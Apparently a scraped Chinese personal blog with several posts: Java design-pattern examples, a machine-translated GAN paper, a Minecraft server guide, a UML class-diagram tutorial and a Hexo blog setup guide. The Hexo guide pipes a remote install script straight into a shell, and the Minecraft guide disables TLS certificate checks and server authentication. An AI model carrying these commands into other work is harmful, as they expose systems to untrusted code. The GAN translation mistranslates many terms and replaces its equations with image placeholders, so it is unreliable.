9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
public interface Flyweight{ //Flyweight.java
public double getHeight();
public double getWidth();
public double getLength();
public void printMess(String mess);
}

import java.util.HashMap; //FlyweightFactory.java
public class FlyweightFactory{
private HashMap<String,Flyweight> hashMap;
static FlyweightFactory factory=new FlyweightFactory();
private FlyweightFactory(){
hashMap=new HashMap<String,Flyweight>();
}
public static FlyweightFactory getFactory(){
return factory;
}
public synchronized Flyweight getFlyweight(String key){
if(hashMap.containsKey(key))
return hashMap.get(key);
else{
double width=0,height=0,length=0;
String [] str=key.split("#");
width=Double.parseDouble(str[0]);
height=Double.parseDouble(str[1]);
length=Double.parseDouble(str[2]);
Flyweight ft=new ConcreteFlyweight(width,height,length);
hashMap.put(key,ft);
return ft;
}
}
class ConcreteFlyweight implements Flyweight{
private double width;
private double height;
private double length;
private ConcreteFlyweight(double width,double height,double length){
this.width=width;
this.height=height;
this.length=length;
}
public double getHeight(){
return height;
}
public double getWidth(){
return width;
}
public double getLength(){
return length;
}
public void printMess(String mess){
System.out.print(mess);
System.out.print(" 宽度:"+width);
System.out.print(" 高度:"+height);
System.out.println("长度:"+length);
}
}
}
public class Car{ //Car.java 一个具成员变量为享元类的类
Flyweight flyweight;
String name,color;
int power;
Car(Flyweight flyweight,String name,String color,int power){
this.flyweight=flyweight;
this.name=name;
this.color=color;
this.power=power;
}
public void print(){
System.out.print(" 名称:"+name);
System.out.print(" 颜色:"+color);
System.out.print(" 功率:"+power);
System.out.print(" 宽度:"+flyweight.getWidth());
System.out.print(" 高度:"+flyweight.getHeight());
System.out.println("长度:"+flyweight.getLength());
}
}
public class Application{ //Application.java 用户创建一个具体类时用到享元类
public static void main(String args[]) {
FlyweightFactory factory=FlyweightFactory.getFactory();
double width=1.82,height=1.47,length=5.12;
String key=""+width+"#"+height+"#"+length;
Flyweight flyweight=factory.getFlyweight(key);
Car audiA6One=new Car(flyweight,"奥迪A6","黑色",128);
Car audiA6Two=new Car(flyweight,"奥迪A6","灰色",160);
audiA6One.print();
audiA6Two.print();
width=1.77;
height=1.45;
length=4.63;
key=""+width+"#"+height+"#"+length;
flyweight=factory.getFlyweight(key);
Car audiA4One=new Car(flyweight,"奥迪A4","蓝色",126);
Car audiA4Two=new Car(flyweight,"奥迪A4","红色",138);
flyweight.printMess(" 名称:奥迪A4 颜色:蓝色 功率:126");
flyweight.printMess(" 名称:奥迪A4 颜色:红色 功率:138");
}
}
Facade 门面模式
官方解释:

为系统中的一组接口提供一个一致的界面,Façade模式定义了一个高层接口,这个接口使得这一子系统更加容易使用。

外观模式是简化用户和子系统进行交互的成熟模式,外观模式的关键是为子系统提供一个称作外观的类,该外观类的实例负责和子系统中类的实例打交道。当用户想要和子系统中的若干个类的实例打交道时,可以代替地和子系统的外观类的实例打交道。

UML:(子系统,外观)

2

个人理解:

为用户提供一个简化操作视图,自动化操作流程,类似傻瓜相机一键拍照。

应用:

报社的广告系统有三个类CheckWord、Charge和TypeSetting类,各个类的职责如下:CheckWord类负责检查广告内容含有的字符数量;Charge类的实例负责计算费用;TypeSetting的实例负责对广告进行排版。使用外观模式简化用户和上述子系统所进行的交互。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public class CheckWord{ //CheckWord.java
public final int basicAmount=85;
String advertisement;
int amount;
public CheckWord(String advertisement){
this.advertisement=advertisement;
}
public void setChargeAmount(){
amount=advertisement.length()+basicAmount; //计算出计费字符数目
}
public int getAmount(){
return amount;
}
}
public class Charge{ //Charge.java
public final int basicCharge=12;
CheckWord checkWord;
Charge(CheckWord checkWord){
this.checkWord=checkWord;
}
public void giveCharge(){
int charge=checkWord.getAmount()*basicCharge;
System.out.println("广告费用:"+charge+"元");
}
}

public class TypeSeting{ //TypeSeting.java
String advertisement;
public TypeSeting(String advertisement){
this.advertisement=advertisement;
}
public void typeSeting(){
System.out.println("广告排版格式:");
System.out.println("********");
System.out.println(advertisement);
System.out.println("********");
}
}
public class ClientServerFacade{ //ClientServerFacade.java
private CheckWord checkWord;
private Charge charge;
private TypeSeting typeSeting;
String advertisement;
public ClientServerFacade(String advertisement){
this.advertisement=advertisement;
checkWord=new CheckWord(advertisement);
charge=new Charge(checkWord);
typeSeting=new TypeSeting(advertisement);
}
public void doAdvertisement(){
checkWord.setChargeAmount();
charge.giveCharge();
typeSeting.typeSeting();
}
}
public class Application{ //Application.java 用户交互
public static void main(String args[]){
ClientServerFacade clientFacade;
String clientAdvertisement="鹿花牌洗衣机,价格2356元,联系电话:1234567";
clientFacade=new ClientServerFacade(clientAdvertisement);
clientFacade.doAdvertisement();
}
}
Proxy 代理模式
官方解释:

代理模式是为对象提供一个代理,代理可以控制对它所代理的对象的访问。

UML:(抽象主体,真实主体,代理)

3

个人理解:

代理类使用另功能类完成用户所需的功能,同时加上一些管控策略。

应用:

用户输入三个代表三角形三边长度的数值,代理对象验证用户输入的三个数值是否能构成三角形,如果能构成三角形,就创建一个三角形对象,并让三角形对象计算自身的面积。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public  interface Geometry{ //Geometry.java 
public double getArea();
}
public class Triangle implements Geometry{ //Triangle.java
double sideA,sideB,sideC,area;
public Triangle(double a,double b,double c) {
sideA=a;
sideB=b;
sideC=c;
}
public double getArea(){
double p=(sideA+sideB+sideC)/2.0;
area=Math.sqrt(p*(p-sideA)*(p-sideB)*(p-sideC)) ;
return area;
}
}
public class TriangleProxy implements Geometry{ //TriangleProxy.java
double sideA,sideB,sideC;
Triangle triangle;
public void setABC(double a,double b,double c) {
sideA=a;
sideB=b;
sideC=c;
}
public double getArea(){
if(sideA+sideB>sideC&&sideA+sideC>sideB&&sideB+sideC>sideA){
triangle=new Triangle(sideA,sideB,sideC);
double area=triangle.getArea();
return area;
}
else
return -1;
}
}
import java.util.Scanner; // Application.java
public class Application{
public static void main(String args[]) {
Scanner reader=new Scanner(System.in);
System.out.println("请输入三个数,每输入一个数回车确认");
double a=-1,b=-1,c=-1;
a=reader.nextDouble();
b=reader.nextDouble();
c=reader.nextDouble();
TriangleProxy proxy=new TriangleProxy();
proxy.setABC(a,b,c);
double area=proxy.getArea();
System.out.println("面积是:"+area);
}
}

GAN

发表于 2019-03-22

0. 摘要

我们提出了一种新的通过对抗过程估计生成模型的框架,其中我们同时训练两个模型:捕获数据分布的生成模型G和估计样本来自训练数据而不是G的概率的识别模型D。G的训练过程是最大化D犯错误的可能性。这个框架对应一个极大极小的两人游戏。在任意函数g和d的空间中,存在一个独特的解决方案,g恢复训练数据的分布,d处处等于1/2。在G和D由多层感知器定义的情况下,整个系统可以通过反向传播进行训练。在样本的训练或生成过程中,不需要任何马尔可夫链或展开的近似推理网络。通过对生成的样本进行定性和定量评估,实验证明了框架的潜力。

1. 介绍

深入学习的希望在于发现丰富的层次模型[2],这些模型表示人工智能应用中遇到的各种数据的概率分布,如自然图像、包含语音的音频波形以及自然语言语料库中的符号。到目前为止,在深度学习中最显著的成功涉及到歧视性模型,通常是那些将高维、丰富的感官输入映射到班级标签上的模型[14,20]。这些显著的成功主要是基于反向传播和退出算法,使用具有特别好的梯度的分段线性单元[17、8、9]。由于在最大似然估计和相关策略中难以近似许多难以处理的概率计算,以及在生成环境中难以利用分段线性单元的优势,深层生成模型的影响较小。我们提出了一种新的生成模型估计方法,避免了这些困难。

在所提出的对抗性网络框架中,生成性模型与对手相抗衡:一种识别性模型,它学习确定样本是来自模型分布还是数据分布。生成模型可以被认为类似于一个伪造者团队,试图生产假币并在没有检测的情况下使用它,而识别模型类似于警察,试图检测假币。在这场比赛中,双方都在努力改进自己的方法,直到伪造品与真品无法区分。

该框架可以为多种模型和优化算法生成特定的训练算法。本文探讨了生成模型通过多层感知器传递随机噪声产生样本的特殊情况,识别模型也是多层感知器。我们将这一特殊情况称为敌对网。在这种情况下,我们可以只使用非常成功的反向传播和退出算法[16]来训练这两个模型,并且只使用正向传播从生成模型中抽取样本。不需要近似推理或马尔可夫链。

2. 相关工作

直到最近,大多数关于深生成模型的工作都集中在提供概率分布函数参数化规范的模型上。然后可以通过最大化日志可能性来训练模型。在这个模型家族中,也许最成功的是DeepBoltzmann机器[25]。此类模型通常具有难以处理的似然函数,因此需要对似然梯度进行多次近似。这些困难推动了“生成机器”的发展——这种模型不明确地表示可能性,但能够从所需的分布中生成样本。生成随机网络[4]是生成机器的一个例子,它可以通过精确的反向传播而不是Boltzmann机器所需的大量近似来训练。这项工作通过消除生成随机网络中使用的马尔可夫链扩展了生成机器的概念。

我们的工作是通过生成过程反向传播导数,通过观察20190322120832

当我们开发这项工作时,我们不知道Kingma和Welling[18]以及Rezende等人[23]开发了更通用的随机反传播规则,允许通过具有有限方差的高斯分布反传播玛瑙,并反传播到协方差参数和平均值。这些反向传播规则可以让我们了解生成器的条件方差,在本文中我们将其视为超参数。Kingma and Welling[18]和Rezende等人[23]使用随机反向传播训练变分自动编码器(VAES)。与生成对抗网络一样,变分自动编码器将一个可微发生器网络与另一个神经网络配对。与生成对抗网络不同,虚拟环境中的辅助网络是执行近似推理的识别模型。GAN需要通过可见单元进行区分,因此不能对离散数据建模,而VAE需要通过隐藏单元进行区分,因此不能具有离散的潜在变量。其他类似阀门的方法也存在[12,22],但与我们的方法不太密切。

以前的工作也采取了使用歧视性标准来训练生成模型的方法[29,13]。这些方法使用了深生成模型难以处理的标准。对于深层模型,这些方法甚至很难近似,因为它们涉及的概率比不能用降低概率界限的变分近似来近似。噪声对比估计(NCE)[13]通过学习权重来训练生成模型,使模型有助于区分固定噪声分布中的数据。使用以前训练过的模型作为噪声分布,可以训练一系列提高质量的模型。这可以被看作是一种非正式的竞争机制,在精神上类似于对抗性网络游戏中使用的正式请愿书。NCE的关键局限性在于它的“鉴别器”是由噪声分布和模型分布的概率密度之比定义的,因此需要通过这两种密度评估和反向传播的能力。

以前的一些研究使用了两个神经网络竞争的一般概念。最相关的工作是可预测性最小化[26]。在可预测性最小化中,神经网络中的每个隐藏单元都被训练为不同于第二个网络的输出,后者根据所有其他隐藏单元的值来预测该隐藏单元的值。这项工作不同于可预测性最小化的三个重要方面:1)在这项工作中,网络之间的竞争是唯一的训练标准,并且本身就足以训练网络。可预测性最小化只是一个规则化器,它鼓励神经网络的隐藏单元在完成其他任务时保持独立,而不是主要的训练标准。2)比赛性质不同。在可预测性最小化中,比较了两个网络的输出,一个网络尝试使输出相似,另一个网络尝试使输出不同。所讨论的输出是单个标量。在gans中,一个网络产生一个丰富的高维向量,用作另一个网络的输入,并试图选择另一个网络不知道如何处理的输入。3)学习过程的规范不同。可预测性最小化被描述为一个目标函数最小化的优化问题,学习接近目标函数的最小值。GAN基于一个极大极小博弈而不是一个优化问题,并且具有一个代理寻求最大化和另一个代理寻求最小化的价值函数。游戏结束于一个鞍点,对于一个玩家的策略是最小的,对于另一个玩家的策略是最大的。

生成性对抗性网络有时与“对抗性实例”的相关概念相混淆[28]。相反的例子是通过直接在分类网络的输入上使用基于梯度的优化来找到的例子,以便找到与数据相似但分类错误的例子。这与目前的工作不同,因为对抗性的例子不是训练生成模型的机制。相反,敌对的例子主要是一种分析工具,用来显示神经网络的行为方式很有趣,通常自信地对两个图像进行不同的分类,并具有很高的信心,即使它们之间的差异是人类观察者无法察觉的。这种对抗性例子的存在确实表明,生成性对抗性网络训练可能是低效的,因为它们表明,可以使现代辨别性网络自信地识别一个类,而不模仿该类的任何人类可感知属性。

3. 对抗网络

当模型都是多层感知器时,对立的建模框架最容易应用。为了了解发生器在数据x上的分布p g,我们定义了输入噪声变量p z(z),然后将到数据空间的映射表示为g(z;θg),其中g是由参数θg的多层感知器表示的可微函数。我们还定义了第二个输出单个标量的多层感知器d(x;θd)。d(x)表示x来自数据而不是p g的概率。我们训练d以最大化将正确标签分配给训练示例和g样本的概率。我们同时训练g以最小化日志(1-d(g(z))。换句话说,D和G使用值函数v(g,d)玩以下两个玩家的minimax游戏:

201903221220832

在下一节中,我们对对抗性网络进行了理论分析,实质上表明训练标准允许恢复G和D具有足够能力的数据生成分布,即在非参数极限下。请参见图1,了解对该方法不太正式、更具教学意义的解释。在实践中,我们必须使用迭代的数值方法来实现博弈。在训练的内环中优化d到完成是计算上的禁忌,在有限的数据集上会导致过度拟合。相反,我们在优化d的k个步骤和优化g的一个步骤之间交替进行,这导致d保持在其最优解附近,只要g变化足够慢。程序在算法1中正式给出。

在实践中,方程1可能不能为G提供足够的梯度来学习。在学习早期,当g很差时,d可以很有信心地拒绝样本,因为它们与培训数据明显不同。在这种情况下,对数(1-d(g(z))饱和。我们可以训练G最大化log d(g(z)),而不是训练G最小化log d(1-d(g(z))。这个目标函数导致G和D的动力学固定点相同,但在学习早期提供了更强的梯度。

4. 理论成果

生成器G隐式地将概率分布p g定义为当z~p z时获得的样本g(z)的分布。因此,如果有足够的容量和训练时间,我们希望算法1收敛到一个很好的P数据估计量。本节的结果是在非参数设置下完成的,例如,我们通过研究概率密度函数空间的收敛性来表示具有无限容量的模型。

我们将在第4.1节中说明,这个极大极小博弈对p g=p数据具有全局最优。然后,我们将在第4.2节中展示算法1优化等式1,从而获得所需的结果。

20190322121926

图1:通过同时更新区分分布(D、蓝色、虚线),对生成性敌对网络进行训练,从而区分数据生成分布(黑色、虚线)p x的样本与生成性分布p g(g)(绿色、实线)的样本。在这种情况下,下水平线是Z的采样区域。上面的水平线是x域的一部分。向上箭头显示了映射x=g(z)如何在变换的样本上施加非均匀分布p g。G在高密度区域收缩,在低密度区域扩张。(a)考虑一对接近收敛的对立对:p g与p数据相似,d是一个部分准确的分类器。(b)在算法的内环中,D被训练来区分样本和数据,收敛到D(x)=P数据(x)P数据(x)+P G(x)。(c)更新到g之后,d的梯度引导g(z)流向更可能被归类为数据的区域。(d)经过几步培训后,如果G和D有足够的能力,他们将达到一个点,因为P G=P数据,两者都无法改善。鉴别器无法区分这两个分布,即d(x)=12。

20190322142407

4.1 全局最优的 $p_g = p_{data}$

我们首先考虑任何给定的G发生器的最佳鉴别器D。

20190322142949

证明。对于鉴别器d,任何发生器g的训练标准都是使v(g,d)的数量最大化。

20190322143437

20190322143719

在实际应用中,对抗网通过函数g(z;θg)表示一个有限的p g分布族,我们优化了θg而不是p g本身,因此证明不适用。然而,多层感知器在实际应用中的优异性能表明,多层感知器是一种合理的模型,尽管缺乏理论保证。

20190322144848

表1:基于parzen窗口的日志可能性估计。mnist上报告的数字是测试集上样本的平均对数似然,通过实例计算平均值的标准误差。在tfd上,我们计算了数据集折叠的标准误差,使用每个折叠的验证集选择不同的σ。在TFD上,对各倍数的σ进行交叉验证,并计算各倍数的平均对数似然。对于mnist,我们将其与数据集的实值(而不是二进制)版本的其他模型进行比较。

5.实验

我们训练了一系列的数据集,包括mnist[21]、多伦多人脸数据库(tfd)[27]和cifar-10[19]。发电机网络使用整流器线性激活[17,8]和乙状结肠激活的混合,而鉴别器网络使用MaxOut[9]激活。辍学[16]被用于训练鉴别器网络。虽然我们的理论框架允许在发电机的中间层使用衰减和其他噪声,但我们只使用噪声作为发电机网络最底层的输入。

我们通过将高斯Parzen窗口拟合到G生成的样本,并报告该分布下的对数似然性,来估计P G下测试集数据的概率。通过对验证集的交叉验证,得到了高斯函数的σ参数。此程序在Breuleux等人中介绍。[7]并用于精确似然性不可追踪的各种生成模型[24、3、4]。结果见表1。这种估计似然性的方法有点高的方差,在高维空间中表现不好,但它是我们所知道的最好的方法。生成模型的研究进展可以直接对可能性进行抽样而不进行估计,这将促使人们进一步研究如何对这些模型进行评估。在图2和图3中,我们展示了培训后从发电机网中提取的样本。虽然我们没有声称这些样本比现有方法生成的样本更好,但我们相信这些样本至少与文献中更好的生成模型具有竞争力,并突出了对抗性框架的潜力。

6.优点和缺点

与以前的建模框架相比,这个新框架有很多优点和缺点。缺点主要是P G(x)没有明确的表示,D在训练过程中必须与G保持良好的同步(特别是,在不更新d的情况下,G不能接受过多的训练,以避免“Helvetica方案”,在这种方案中,G将Z的过多值折叠为x的相同值,从而具有足够的多样性。为了建立P数据模型),就像玻尔兹曼机器的负链在学习步骤之间必须保持最新一样。它的优点是不需要马尔可夫链,只需要使用backprop来获取梯度,在学习过程中不需要进行推理,模型中可以包含多种函数。表2总结了生成对抗网与其他生成建模方法的比较。

上述优点主要是计算性的。敌方模型也可能从生成器网络中获得一些统计优势,而不是直接用数据检查来更新,而是只使用流经鉴别器的梯度。这意味着输入的组件不会直接复制到生成器的参数中。对抗网络的另一个优点是,它们可以表示非常尖锐的、甚至是退化的分布,而基于马尔可夫链的方法要求分布有点模糊,以便链能够在模式之间混合。

7.结论和未来工作

这个框架允许许多简单的扩展:

20190322150734

  1. 条件生成模型p(x_c)可以通过在g和d中添加c作为输入得到。
  2. 学习的近似推理可以通过训练辅助网络来预测给定x的z。这类似于通过唤醒睡眠算法[15]训练的推理网络,但其优点是,在生成网络完成训练后,推理网络可以训练为固定的生成网络。
  3. 我们可以通过训练一系列共享参数的条件模型来近似模拟所有条件p(x s_x 6s),其中s是x的索引的子集。本质上,我们可以使用对抗性网络来实现确定性MP-DBM[10]的随机扩展。
  4. 半监督学习:当有限的标记数据可用时,来自鉴别器或推理网络的特征可以提高分类器的性能。
  5. 效率提高:通过设计更好的方法来协调G和D,或者在培训期间确定更好的Z样本分布,可以大大加速培训。

本文论证了对抗性建模框架的可行性,表明这些研究方向是有用的。

20190322152835

8. 致谢

我们感谢Patrice Marcotte、Olivier Delalleau、Kyunghyun Cho、Guillaume Alain和Jason Yosinski的帮助。延恩·多芬和我们分享了他的Parzen Window评估代码。我们要感谢pylearn2[11]和theano[6,1]的开发人员,特别是fr_d_ric bastien,他们专门为这个项目开发了theano功能。在L A T E X排版方面,Ar-NaudBergeron提供了急需的支持。我们还要感谢CIFAR和加拿大研究主席的资助,以及加拿大计算机和Calculal Qu_bec提供的计算资源。伊恩·古德费罗获得了2013年谷歌深度学习奖学金的支持。最后,我们要感谢Les Trois Brasseurs激发我们的创造力。

How to Establish a Minecraft Server

发表于 2019-03-19 | 更新于 2019-03-20

1.配置服务器:

  1. 首先安装Java-8-jdk

    1
    2
    3
    4
    5
    wget --no-cookies --no-check-certificate --header "Cookie: gpw_e24=http%3A%2F%2Fwww.oracle.com%2F; oraclelicense=accept-securebackup-cookie" https://download.oracle.com/otn-pub/java/jdk/8u201-b09/42970487e3af4f5aa5bca3f542482c60/jdk-8u201-linux-x64.tar.gz # wget 下载Java 8 jdk
    mkdir /usr/java # 创建java系统运行目录
    cp jdk-8u201-linux-x64.tar.gz /usr/java #将jdk.tar包复制到系统运行环境
    cd /usr/java
    tar -zxvf jdk-8u201-linux-x64.tar.gz # 将jdk.tar包解压
  2. 设置系统环境变量

    1
    vi /etc/profile

    将如下内容追加到profile文件内。

    1
    2
    3
    4
    5
    #set java environment
    export JAVA_HOME=/usr/java/jdk-8u201-linux-x64 #此处要修改为你存放java的目录
    export JRE_HOME=${JAVA_HOME}/jre
    export CLASSPATH=.:$JAVA_HOME/lib:$JRE_HOME/lib:$CLASSPATH
    export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH
  3. 更新环境变量

    1
    source /etc/profile #使更新后的环境变量生效
  4. 测试java是否安装成功

    1
    2
    javac # 将会显示java编译器的相关信息
    java -version # 将会显示java的版本信息,若出错请参考出错信息Google
  5. 安装MineCraft服务器

    1
    sudo wget https://s3.amazonaws.com/Minecraft.Download/versions/1.12/minecraft_server.1.12.jar #这里下载MineCraft服务器,此处为1.12为例
  6. 启动MineCraft服务器

    1
    2
    3
    free -h # 查看当前内存使用情况
    sudo java -Xms500m -Xmx600m -jar /home/mc/minecraft_server.1.12.jar nogui #启动服务器时需要指定运行内存范围,此处具体数值需要参照内存使用情况。分给MC服务器的内存越大越好,但也不能将整个系统的内存沾满。系统内存使用率在80%为宜。
    # !!!但是,第一次启动服务器一定会运行失败,因为默认没有同意用户协议。
  7. 同意用户协议再启动

    1
    vi eula.txt # 此文件包含用户协议同意情况

    将eula的值改为true。保存并推出。

  8. 修改服务器配置

    1
    vi server.propertices # 这个文件中有众多的服务器配置,有些需要修改

    将online-mode的值改为false,这个值是用来检查正版的……

  9. 创建MC启动shell脚本

    1
    vi start.sh

    输入如下内容:

    1
    2
    3
    #!/bin/sh
    source /ect/profile
    java -Xms500m -Xmx600m -jar /home/mc/minecraft_server.1.12.jar nogui

    这样就可以让脚本帮助我们敲命令了。每次启动只需要运行如下命令

    1
    bash start.sh

2. 配置客户端:

  1. 需要下载并安装使用HMCL(Hello MineCraft Launcher)

    20190319220525

  2. 创建一个离线模式的用户

20190319220924

  1. 安装与服务器相同版本的客户端,我们这里选用1.12

    20190319220842

  2. 连接服务器IP

常见问题:

  • wget 下载https类型文件 需要加一个参数--no-check-certificate

    1
    wget --no-check-certificate https://我们下载文件路径
  • 如何后台执行命令?screen命令可以很好完成任务。

    1
    2
    3
    4
    5
    6
    7
    #screen也叫虚拟终端,可以在一个物理终端上实现多个虚拟终端的效果。
    #在screen的虚拟终端里面运行你的指令,要断开连接之前先把screen挂起,下次连进来的时候你只需要重新连接你的screen,你会发现你的指令已经乖乖地执行完毕或者正在执行而不是被迫中断了。
    #一般以上的用法已经足够,如果需要更多,请直接screen --help。顺便说一下,一般发行版是不带这个软件的,你需要自行安装,ubuntu下面就直接sudo apt-get install screen。
    $ screen -S xxx #创建名为XXX的虚拟终端
    $ ctrl+a+d #挂起虚拟终端
    $ screen -ls #列出当前挂起的所有终端
    $ screen -r terminal.id #重新连接挂起后的终端

UMLClassDiagram

发表于 2019-03-18

概述

类图(Class Diagram)是描述类、接口、协作以及它们之间关系的图,用来显示系统中各个类的静态结构。类图是定义其他图的基础,在类图基础上,可以使用状态图、协作图、组件图和配置图等进一步描述系统其他方面的特性。

类图包括7个元素:类(Class)、接口(Interface)、协作(collaboration)、依赖关系(Dependency)、泛化关系(Generalization)、关联关系(Association)以及实现关系(Realization)。

虚线箭头指向依赖;

实线箭头指向关联;

虚线三角指向接口;

实线三角指向父类;

空心菱形能分离而独立存在,是聚合;

实心菱形精密关联不可分,是组合;

2799767-3f16972d7b062110

基本概念

类图(Class Diagram): 类图是面向对象系统建模中最常用和最重要的图,是定义其它图的基础。类图主要是用来显示系统中的类、接口以及它们之间的静态结构和关系的一种静态模型。

类图的3个基本组件:类名、属性、方法。

1071603-20171122095942008-522706800

泛化(generalization):表示is-a的关系,是对象之间耦合度最大的一种关系,子类继承父类的所有细节。直接使用语言中的继承表达。在类图中使用带三角箭头的实线表示,箭头从子类指向父类。

1071603-20171122100109586-1582026693

实现(Realization):在类图中就是接口和实现的关系。这个没什么好讲的。在类图中使用带三角箭头的虚线表示,箭头从实现类指向接口。(接口:虚基类)

1071603-20171122100200290-1946335228

依赖(Dependency):对象之间最弱的一种关联方式,是临时性的关联。代码中一般指由局部变量、函数参数、返回值建立的对于其他对象的调用关系。一个类调用被依赖类中的某些方法而得以完成这个类的一些职责。在类图使用带箭头的虚线表示,箭头从使用类指向被依赖的类。(图中一个是利用函数参数建立依赖关系,一个是利用函数返回值建立依赖关系)

1071603-20171122100240086-1421148234

关联(Association) : 对象之间一种引用关系,比如客户类与订单类之间的关系。这种关系通常使用类的属性表达。关联又分为一般关联、聚合关联与组合关联。后两种在后面分析。在类图使用带箭头的实线表示,箭头从使用类指向被关联的类。可以是单向和双向。(使用类A,被关联类B,B是A的成员变量类)

1071603-20171122100316165-918518126

聚合(Aggregation) : 表示has-a的关系,是一种不稳定的包含关系。较强于一般关联,有整体与局部的关系,并且没有了整体,局部也可单独存在。如公司和员工的关系,公司包含员工,但如果公司倒闭,员工依然可以换公司。在类图使用空心的菱形表示,菱形从局部指向整体。(整体类A,局部类B,B是A的成员变量类)

1071603-20171122100444118-201115809

组合(Composition) : 表示contains-a的关系,是一种强烈的包含关系。组合类负责被组合类的生命周期。是一种更强的聚合关系。部分不能脱离整体存在。如公司和部门的关系,没有了公司,部门也不能存在了;调查问卷中问题和选项的关系;订单和订单选项的关系。在类图使用实心的菱形表示,菱形从局部指向整体。(整体类A,局部类B,B是A的成员变量类)

1071603-20171122100524696-522581923

多重性(Multiplicity) : 通常在关联、聚合、组合中使用。就是代表有多少个关联对象存在。使用数字..星号(数字)表示。如下图,一个割接通知可以关联0个到N个故障单。

1071603-20171122100557102-897123625

聚合和组合的区别

这两个比较难理解,重点说一下。聚合和组合的区别在于:聚合关系是“has-a”关系,组合关系是“contains-a”关系;聚合关系表示整体与部分的关系比较弱,而组合比较强;聚合关系中代表部分事物的对象与代表聚合事物的对象的生存期无关,一旦删除了聚合对象不一定就删除了代表部分事物的对象。组合中一旦删除了组合对象,同时也就删除了代表部分事物的对象。

实例分析

联通客户响应OSS。系统有故障单、业务开通、资源核查、割接、业务重保、网络品质性能等功能模块。现在我们抽出部分需求做为例子讲解。

大家可以参照着类图,好好理解。

04e78de6

  1. 通知分为一般通知、割接通知、重保通知。这个是继承关系。
  2. NoticeService和实现类NoticeServiceImpl是实现关系。
  3. NoticeServiceImpl通过save方法的参数引用Notice,是依赖关系。同时调用了BaseDao完成功能,也是依赖关系。
  4. 割接通知和故障单之间通过中间类(通知电路)关联,是一般关联。
  5. 重保通知和预案库间是聚合关系。因为预案库可以事先录入,和重保通知没有必然联系,可以独立存在。在系统中是手工从列表中选择。删除重保通知,不影响预案。
  6. 割接通知和需求单之间是聚合关系。同理,需求单可以独立于割接通知存在。也就是说删除割接通知,不影响需求单。
  7. 通知和回复是组合关系。因为回复不能独立于通知存在。也就是说删除通知,该条通知对应的回复也要级联删除。

经过以上的分析,相信大家对类的关系已经有比较好的理解了。大家有什么其它想法或好的见解,欢迎拍砖。

参考文献:

  1. Uml.org.cn. (2019). UML. [online] Available at: http://www.uml.org.cn/oobject/201104212.asp [Accessed 18 Mar. 2019].

How to Get Start

发表于 2019-03-17 | 更新于 2019-03-18

​ 本文将简略介绍如何利用GitHub+Hexo创建个人Blog。

​ 更加具体内容请参考官方文档:

  • Hexo

  • GitHub Page

​ GitHub Pages是一个静态站点托管服务,旨在直接从GitHub存储库托管您的个人、组织或项目页面。

​ GitHub页面可以在带有GitHub免费的公共存储库中使用,也可以在带有GitHub Pro、GitHub Team、GitHub Enterprise Cloud和GitHub Enterprise Server的公共和私有存储库中使用。

​ Hexo 是一个快速、简洁且高效的博客框架。Hexo 使用 Markdown(或其他渲染引擎)解析文章,在几秒内,即可利用靓丽的主题生成静态网页。

​ 因此,GitHub+Hexo可以快速构建一个个人博客,并且帮助我们管理这个博客。

一、创建账号并开启GitHub Page

​ 创建账号就不赘述了,这里给出一个快速开启GitHub Page的方法。

1. 创建一个<username>.github.io的Repository

​ 创建的这个Repository必须是”用户名“+”.github.io“的形式,这样GitHub的主机才能解析这个域名。

如图所示:

20190317153031

2. 在Repository的设置中开启GitHub Page

​ 先要在Repository的设置中找到GitHub Pages栏,然后选择一个主题。

​ (PS:此时所选主题与最后Blog的主题无关,所以可以随意选择)

​ 如图所示:

​ 20190317153625

​ 选择完主题其实你的个人网站就已经开启了。个人网页就是你的Repository名。

二、本地安装Hexo

​ 安装 Hexo 相当简单。然而在安装前,您必须检查电脑中是否已安装下列应用程序:

  • Node.js
  • Git

​ 如果您的电脑中已经安装上述必备程序,那么恭喜您!接下来只需要使用 npm 即可完成 Hexo 的安装。

1
$ npm install -g hexo-cli

​ 如果您的电脑中尚未安装所需要的程序,请根据以下安装指示完成安装。

1
2
3
4
5
> Mac 用户
>
> 您在编译时可能会遇到问题,请先到 App Store 安装 Xcode,Xcode 完成后,启动并进入 Preferences -> Download -> Command Line Tools -> Install 安装命令行工具。
>
>
1. 安装 Git
  • Windows:下载并安装 git.
  • Mac:使用 Homebrew, MacPorts :brew install git;或下载 安装程序 安装。
  • Linux (Ubuntu, Debian):sudo apt-get install git-core
  • Linux (Fedora, Red Hat, CentOS):sudo yum install git-core
1
2
3
Windows 用户

由于众所周知的原因,从上面的链接下载git for windows最好挂上一个代理,否则下载速度十分缓慢。也可以参考[这个页面](https://github.com/waylau/git-for-win),收录了存储于百度云的下载地址。
2. 安装 Node.js

​ 安装 Node.js 的最佳方式是使用 nvm。

cURL:

1
$ curl https://raw.github.com/creationix/nvm/v0.33.11/install.sh | sh

Wget:

1
$ wget -qO- https://raw.github.com/creationix/nvm/v0.33.11/install.sh | sh

​ 安装完成后,重启终端并执行下列命令即可安装 Node.js。

1
$ nvm install stable

​ 或者您也可以下载 安装程序 来安装。

1
2
3
4
Windows 用户

对于windows用户来说,建议使用安装程序进行安装。安装时,请勾选Add to PATH选项。
另外,您也可以使用Git Bash,这是git for windows自带的一组程序,提供了Linux风格的shell,在该环境下,您可以直接用上面提到的命令来安装Node.js。打开它的方法很简单,在任意位置单击右键,选择“Git Bash Here”即可。由于Hexo的很多操作都涉及到命令行,您可以考虑始终使用Git Bash来进行操作。
3. 安装 Hexo

​ 所有必备的应用程序安装完成后,即可使用 npm 安装 Hexo。

1
$ npm install -g hexo-cli

​ 安装 Hexo 完成后,请执行下列命令,Hexo 将会在指定文件夹中新建所需要的文件。

1
2
3
$ hexo init <folder>
$ cd <folder>
$ npm install
4. 配置Hexo

